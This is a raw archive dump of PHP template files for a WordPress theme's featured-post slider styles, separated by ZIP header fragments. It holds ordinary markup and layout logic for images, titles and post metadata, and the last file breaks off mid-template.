	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 3 == 2 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 2 || get_theme_mod( 'penci_featured_show_categories' ) ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\gh  h    featured_slider/style-27.phpnu [        <?php
/**
 * Template part for Slider Style 27
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

$image_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 5 == 1 ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 5 == 1 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $image_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_msize : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\,      featured_slider/style-9.phpnu [        <?php
/**
 * Template part for Slider Style 9
 */

$feat_query = penci_get_query_featured_slider();

if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-square';

	$image_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
						<?php do_action( 'penci_bookmark_post' ); ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size,$image_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_msize : $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\f  f    featured_slider/style-28.phpnu [        <?php
/**
 * Template part for Slider Style 28
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 7 == 1 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 7 == 1 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 7 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
							<?php if ( ( $i % 7 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
							<?php endif; ?>
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( ( $i % 7 == 0 || $i % 7 == 1 || $i % 7 == 3 || $i % 7 == 5 ) && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\Ok  k    featured_slider/style-11.phpnu [        <?php
/**
 * Template part for Slider Style 11
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-magazine-slider';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 2 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\U      featured_slider/style-5.phpnu [        <?php
/**
 * Template part for Slider Style 5
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-full-thumb';

	$post_thumb_msize = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size,$post_thumb_msize ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $post_thumb_msize : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>
        <div class="penci-slider4-overlay">
            <a class="overlay-link"
               aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
               href="<?php the_permalink(); ?>"></a>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                        <div class="feat-meta">
							<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\dm  m    featured_slider/style-24.phpnu [        <?php
/**
 * Template part for Slider Style 24
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-thumb-square';

$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 4 == 1 && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 4 == 1 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
